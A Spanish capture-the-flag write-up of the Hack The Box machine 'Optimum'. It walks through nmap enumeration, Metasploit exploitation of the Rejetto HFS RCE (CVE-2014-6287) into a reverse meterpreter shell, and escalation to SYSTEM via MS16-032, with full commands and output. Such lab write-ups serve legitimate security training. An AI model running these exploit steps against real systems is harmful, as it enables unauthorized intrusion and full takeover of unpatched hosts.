Optimum
Dificultad: Easy - OS: Windows
¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info
El enfoque principal de este CTF radica en la enumeración temprana con herramientas como nmap
, que permite identificar un servicio HTTP vulnerable: HttpFileServer (HFS) versión 2.3. Este servicio, al encontrarse desactualizado, posee una vulnerabilidad crítica de ejecución remota de comandos (RCE), identificada como CVE-2014-6287. Este tipo de fallo es particularmente útil para obtener acceso inicial a la máquina víctima, y se facilita mediante módulos públicos en frameworks como Metasploit.
Una vez obtenido el acceso remoto a la máquina mediante la explotación del servicio vulnerable, el objetivo pasa a ser la escalada de privilegios. En esta instancia, se aprovechan características del sistema operativo, como la arquitectura de 64 bits, y se realiza un análisis de los procesos en ejecución para migrar a uno compatible con el tipo de shell obtenida. Dado que la herramienta de sugerencia automática de exploits puede no ser confiable en entornos x64, se recurre a una búsqueda manual dentro del propio Metasploit mediante el módulo suggester
. Finalmente, se aplica con éxito la vulnerabilidad MS16-032, relacionada con el manejo inadecuado del servicio de logon secundario, para alcanzar privilegios de sistema (NT AUTHORITY\SYSTEM).
📌CVE-2014-6287
La vulnerabilidad CVE-2014-6287 afecta al software Rejetto HTTP File Server (HFS) en versiones anteriores a la 2.3c. Este servidor web, frecuentemente utilizado para compartir archivos en entornos Windows, contiene una falla crítica de ejecución remota de comandos (RCE) en la forma en que maneja ciertos campos de entrada manipulados en las solicitudes HTTP. El fallo radica en que el motor de scripting que HFS utiliza para interpretar macros no valida correctamente los datos proporcionados por el usuario, permitiendo que un atacante inyecte código arbitrario que se ejecuta directamente en el sistema host con los privilegios del proceso del servidor.
El ataque explota el parámetro search
en una solicitud HTTP manipulada, el cual puede ser utilizado para ejecutar comandos arbitrarios mediante un payload incrustado, aprovechando la lógica interna de las macros de HFS ({.exec|...}
), lo que abre la puerta a la ejecución remota sin autenticación previa. Esta vulnerabilidad es especialmente peligrosa si el servidor HFS se ejecuta con privilegios elevados (como SYSTEM), ya que el atacante podría tomar control completo del sistema objetivo.
En el contexto de pruebas de penetración o CTFs, esta vulnerabilidad puede ser explotada fácilmente mediante Metasploit con el módulo exploit/windows/http/rejetto_hfs_exec
, que automatiza la inyección de la macro maliciosa y la entrega del payload.
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.8
📌 Parámetros
sCV
:-sC
→ Ejecuta scripts de detección predeterminados → Usa los scripts denmap
ubicados en/usr/share/nmap/scripts/
, los cuales buscan información adicional en los puertos abiertos.-sV
→ Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n
→ No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open
→ Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4
→ Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v
→ Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-title: HFS /
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explotación Inicial (RCE)
La versión del servicio HFS
que nos muestra es bastante vieja por lo que se puede buscar algún exploit en msfconsole
(Metasploit) para automatizar el ataque.
msf6 > search HFS 2.3
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/git_client_command_exec 2014-12-18 excellent No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 \_ target: Automatic . . . .
2 \_ target: Windows Powershell . . . .
3 exploit/windows/http/rejetto_hfs_rce_cve_2024_23692 2024-05-25 excellent Yes Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution
4 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/http/rejetto_hfs_exec
Nos arroja varios módulos que podemos probar para romper este servicio, pero el que nosotros vamos a usar es el exploit/windows/http/rejetto_hfs_exec
Comandos:
use 4
→ seleccionamos el payloadoptions
→ vemos los parámetros que debemos configurar en el exploitset lhost
→ seteamos nuestra IPset rhosts
→ seteamos la IP del targetexploit
→ ejecuta el exploit
Si todo sale bien nos creará una sesión en meterpreter Meterpreter session 1 opened
este id
de la session
lo usaremos más adelante.
msf6 > use 4
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:
port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on.
This must be an address on the local machine or 0.
0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is rando
mly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random
)
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 192.168.1.60 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost 10.10.14.7
lhost => 10.10.14.7
msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 10.10.10.8
rhosts => 10.10.10.8
msf6 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 10.10.14.7:4444
[*] Using URL: http://10.10.14.7:8080/hhAANcXkuNQ
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /hhAANcXkuNQ
[*] Sending stage (177734 bytes) to 10.10.10.8
[!] Tried to delete %TEMP%\ZmJzZ.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.10.8:49162) at 2025-05-02 15:55:26 -0400
[*] Server stopped.
meterpreter > getuid
Server username: OPTIMUM\kostas
Escalada de Privilegios
Ya conseguimos una sesión en meterpreter, ahora para escalar privilegios vamos a buscar algún otro exploit que nos sirva para este equipo. El módulo que se encarga de buscar vulns una vez que tenemos acceso al sistema es el siguiente: post/multi/recon/local_exploit_suggester
Comandos:
background
→ ponemos en segundo plano la sesión de meterpreter para usar la shell de msfconsolesearch suggester
→ en msfconsole buscamos el módulo con el filtro suggesteruse 0
→ seleccionamos el módulooptions
→ abrimos el panel de configuración. Para este caso solo nos pide que configuremos la sesión del meterpreter donde tenemos la reverse shell.set session 1
→ seteamos con el id de la sesión anteriorrun
→ ejecutamos el módulo
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/rejetto_hfs_exec) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 exploit(windows/http/rejetto_hfs_exec) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the avai
lable exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.8 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 10.10.10.8 - 204 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.8 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
5 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
6 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
[*] Post module execution completed
El exploit que nos interesa de la lista que nos arrojó el suggester es el siguiente: exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Comandos
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
→ seleccionamos el exploitoptions
→ abrimos el panel de configuración. Para este caso solo nos pide configurar nuestra IP y la sesión del meterpreter .set lhost
→ seteamos nuestra IPset session
→ seteamos con el id de la sesion anteriorexploit
→ ejecuta el exploit
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 192.168.1.60 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set lhost 10.10.14.7
lhost => 10.10.14.7
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit
Resultado: se nos abre una segunda sesión en meterpreter con una shell de NT AUTHORITY\SYSTEM
[*] Started reverse TCP handler on 10.10.14.7:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\ggRzJVcKLj.ps1...
[*] Compressing script contents...
[+] Compressed size: 3755
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1672
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+ $yR = [Ntdll]::NtImpersonateThread($aUF, $aUF, [ref]$ijRF)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (ijRF:VariablePath) [], Runtim
eException
+ FullyQualifiedErrorId : NonExistingVariableReference
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateTo
ken" to type "System.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:2
+ $yR = [Advapi32]::DuplicateToken($s9N, 2, [ref]$dpUS5)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
kmFPdE4NJYxdwIUweWTD22B4aTbEXjbQ
[+] Executed on target machine.
[*] Sending stage (177734 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.7:4444 -> 10.10.10.8:49164) at 2025-05-02 16:02:07 -0400
[+] Deleted C:\Users\kostas\AppData\Local\Temp\ggRzJVcKLj.ps1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 972 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>exit
exit
meterpreter > cat C:/Users/Administrator/Desktop/root.txt
e27ce***************************
meterpreter > cat C:/Users/kostas/Desktop/user.txt
196fd***************************
Last updated